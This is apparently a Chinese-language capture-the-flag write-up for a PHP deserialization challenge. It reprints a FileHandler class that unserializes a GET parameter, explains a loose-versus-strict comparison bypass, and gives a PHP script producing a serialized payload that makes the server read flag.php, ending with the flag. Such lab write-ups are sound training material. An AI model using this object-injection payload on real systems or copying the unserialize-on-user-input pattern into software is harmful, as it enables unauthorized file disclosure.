unserialize

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

看到

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;

将传入的参数循环一遍，要求ascll码在32到125之间。

最后是反序列化，这里需要研究一下FileHandler类。

发现read()有个file_get_contents()函数，所以尝试调用read()方法
要调用read()既要调用process()方法，调用process方法有__construct和__destruct。

__construct()是传入没有值时被调用
__destruct()是在对象销毁时被调用

这里我们要op=2这样才能调用read，所以我们考虑__destruct
所以我们传入有值，这样就能调用__destruct了
因为2===“2” 为false，2=="2"为true

<?php
 
class FileHandler {
 
    public $op = 2;
    public  $filename = "flag.php";
    public  $content = "adasdasdas";
}
 
$a = new FileHandler();
$b = serialize($a);
echo $b;
 
?>

为了避免麻烦我用public。
然后即可得到flag{08053ca1-4434-4fa8-8b8f-2449ecd64d05}